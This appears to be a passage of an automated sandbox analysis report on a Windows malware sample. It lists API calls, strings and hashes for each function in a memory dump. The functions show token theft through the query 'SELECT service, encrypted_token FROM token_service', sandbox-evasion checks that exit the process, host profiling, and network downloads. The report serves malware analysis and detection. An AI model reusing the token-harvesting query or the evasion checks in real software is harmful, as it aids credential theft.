HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,0165FD30,00000000,?,00300E2C,00000000,?,00000000,00000000), ref: 002F8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 002F8158
__aulldiv.LIBCMT ref: 002F8172
__aulldiv.LIBCMT ref: 002F8180
wsprintfA.USER32 ref: 002F81AC

Strings

%d MB, xrefs: 002F81A3
@, xrefs: 002F814D

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: e354c33b4622efad88d7362a8ca821de552cfa65eee70b0a5af80e8b619acc93
Instruction ID: ce513f3b60ec6cfc6b13d84ba25582003d27e321e39a54cfa0d8203525d3d2fd
Opcode Fuzzy Hash: e354c33b4622efad88d7362a8ca821de552cfa65eee70b0a5af80e8b619acc93
Instruction Fuzzy Hash: F42127B1E54208ABDB10DFD4CC49FAEF7B8EB48B40F104219F705AB280D7B869158BA5

Function 002EBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E9E10: memcmp.MSVCRT(?,v20,00000003), ref: 002E9E2D

lstrlenA.KERNEL32(00000000), ref: 002EBC9F

Part of subcall function 002F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 002F8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 002EBCCD
lstrlenA.KERNEL32(00000000), ref: 002EBDA5
lstrlenA.KERNEL32(00000000), ref: 002EBDB9

Strings

AccountTokens, xrefs: 002EBB49
AccountTokens, xrefs: 002EBABA
AccountId, xrefs: 002EBCC4
SELECT service, encrypted_token FROM token_service, xrefs: 002EBBEB

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: ab8100a962d3e79fc1f3c79fb98d09ac707e9a023a134c9c701c7d61a68d07c2
Instruction ID: d3c63fdbf1bf32c7c52612be3ea3c2b30e1766199e448b177675b95de9fe74d9
Opcode Fuzzy Hash: ab8100a962d3e79fc1f3c79fb98d09ac707e9a023a134c9c701c7d61a68d07c2
Instruction Fuzzy Hash: 30B124B192010C9BDB14FBA0DD56DFEB378AF54780F404178F60AA6091EF746A69CF62

Function 002E4FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 002E4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 002E4FD1
InternetOpenA.WININET(00300DDF,00000000,00000000,00000000,00000000), ref: 002E4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 002E5011
InternetReadFile.WININET(002F5EDB,?,00000400,00000000), ref: 002E5041
memcpy.MSVCRT(00000000,?,00000001), ref: 002E508A
InternetCloseHandle.WININET(002F5EDB), ref: 002E50B9
InternetCloseHandle.WININET(?), ref: 002E50C6

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 256c6ef2925ba2ee9e2b17c579fbb37212160d4d9f0d1790b5d3762229d0ec7a
Instruction ID: a7ed10e16e39a69e37ea5e9d9f9558105b657bf18ebee152549c8cc430c22d84
Opcode Fuzzy Hash: 256c6ef2925ba2ee9e2b17c579fbb37212160d4d9f0d1790b5d3762229d0ec7a
Instruction Fuzzy Hash: 3B3108B5A50218ABDB20CF54DC85BDCB7B4EF48704F5081E9F709A7281C7B06AC59F99

Function 002F69F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01652D10), ref: 002F98A1
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01652B30), ref: 002F98BA
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01652D28), ref: 002F98D2
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01652C68), ref: 002F98EA
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01652D40), ref: 002F9903
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01650380), ref: 002F991B
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,0164ADA0), ref: 002F9933
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,0164AC60), ref: 002F994C
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01652D70), ref: 002F9964
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01652B48), ref: 002F997C
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01652C20), ref: 002F9995
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01652D88), ref: 002F99AD
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,0164ACC0), ref: 002F99C5
Part of subcall function 002F9860: GetProcAddress.KERNEL32(75900000,01652AE8), ref: 002F99DE

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002E11D0: ExitProcess.KERNEL32 ref: 002E1211

Part of subcall function 002E1160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,002F6A17,00300AEF), ref: 002E116A
Part of subcall function 002E1160: ExitProcess.KERNEL32 ref: 002E117E

Part of subcall function 002E1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,002F6A1C), ref: 002E112B
Part of subcall function 002E1110: VirtualAllocExNuma.KERNEL32(00000000,?,?,002F6A1C), ref: 002E1132
Part of subcall function 002E1110: ExitProcess.KERNEL32 ref: 002E1143

Part of subcall function 002E1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 002E123E
Part of subcall function 002E1220: __aulldiv.LIBCMT ref: 002E1258
Part of subcall function 002E1220: __aulldiv.LIBCMT ref: 002E1266
Part of subcall function 002E1220: ExitProcess.KERNEL32 ref: 002E1294

Part of subcall function 002F6770: GetUserDefaultLangID.KERNEL32(?,?,002F6A26,00300AEF), ref: 002F6774

GetUserDefaultLCID.KERNEL32 ref: 002F6A26

Part of subcall function 002E1190: ExitProcess.KERNEL32 ref: 002E11C6

Part of subcall function 002F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002E11B7), ref: 002F7880
Part of subcall function 002F7850: HeapAlloc.KERNEL32(00000000,?,?,?,002E11B7), ref: 002F7887
Part of subcall function 002F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 002F789F

Part of subcall function 002F78E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002F6A2B), ref: 002F7910
Part of subcall function 002F78E0: HeapAlloc.KERNEL32(00000000,?,?,?,002F6A2B), ref: 002F7917
Part of subcall function 002F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 002F792F

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,016503A0,?,0030110C,?,00000000,?,00301110,?,00000000,00300AEF), ref: 002F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 002F6AE8
CloseHandle.KERNEL32(00000000), ref: 002F6AF9
Sleep.KERNEL32(00001770), ref: 002F6B04
CloseHandle.KERNEL32(?,00000000,?,016503A0,?,0030110C,?,00000000,?,00301110,?,00000000,00300AEF), ref: 002F6B1A
ExitProcess.KERNEL32 ref: 002F6B22

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: 3d9ea9cf33799d4f4517511952e8fafbc238017f8127fe869f59175350c34fbb
Instruction ID: dd2cbb839de4b518433479173e066c73bbf496e3ee3b052c70f08cc41f56b40e
Opcode Fuzzy Hash: 3d9ea9cf33799d4f4517511952e8fafbc238017f8127fe869f59175350c34fbb
Instruction Fuzzy Hash: 05310C7196010CAADB04FBA0DC56AFEB738AF147C0F404538F306A6181DFB06A25DEA6

Function 002F83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 002F8426
wsprintfA.USER32 ref: 002F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 002F847B
RegCloseKey.ADVAPI32(00000000), ref: 002F848C
RegCloseKey.ADVAPI32(00000000), ref: 002F8499

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

RegQueryValueExA.KERNEL32(00000000,01660360,00000000,000F003F,?,00000400), ref: 002F84EC
lstrlenA.KERNEL32(?), ref: 002F8501
RegQueryValueExA.KERNEL32(00000000,01660450,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00300B34), ref: 002F8599
RegCloseKey.ADVAPI32(00000000), ref: 002F8608
RegCloseKey.ADVAPI32(00000000), ref: 002F861A

Strings

%s\%s, xrefs: 002F844D

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: c41225c3e9d3c9ec15b131c3cc1fe0ebce407d6bac77453eaa7f63ff9e35238e
Instruction ID: c8406b0d39b9319ef063c336e0b1641df9db998c0f41831c375805bbed06c522
Opcode Fuzzy Hash: c41225c3e9d3c9ec15b131c3cc1fe0ebce407d6bac77453eaa7f63ff9e35238e
Instruction Fuzzy Hash: 5421A7B191021C9BDB24DB54DC85FE9B7B8FB48700F0085A9A60996140DE716A86CF94

Function 002E47B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E47EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

Strings

<, xrefs: 002E47C9

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 7754ec1c5a89d7f6f6cdc829f72f2a2a9cf29ae6bc40900cab2c365c4b197bde
Instruction ID: 25d97a7a2307d35e816f9ef9a89d94f2005c37a21919371de639bae1800125dd
Opcode Fuzzy Hash: 7754ec1c5a89d7f6f6cdc829f72f2a2a9cf29ae6bc40900cab2c365c4b197bde
Instruction Fuzzy Hash: 402130B1D00209ABDF14DF94E849BED7B75FF44360F108225F915A7290EB706615CF96

Function 002F7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F76A4
HeapAlloc.KERNEL32(00000000), ref: 002F76AB
RegOpenKeyExA.KERNEL32(80000002,01658388,00000000,00020119,00000000), ref: 002F76DD
RegQueryValueExA.KERNEL32(00000000,01660438,00000000,00000000,?,000000FF), ref: 002F76FE
RegCloseKey.ADVAPI32(00000000), ref: 002F7708

Strings

Windows 11, xrefs: 002F76BD

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

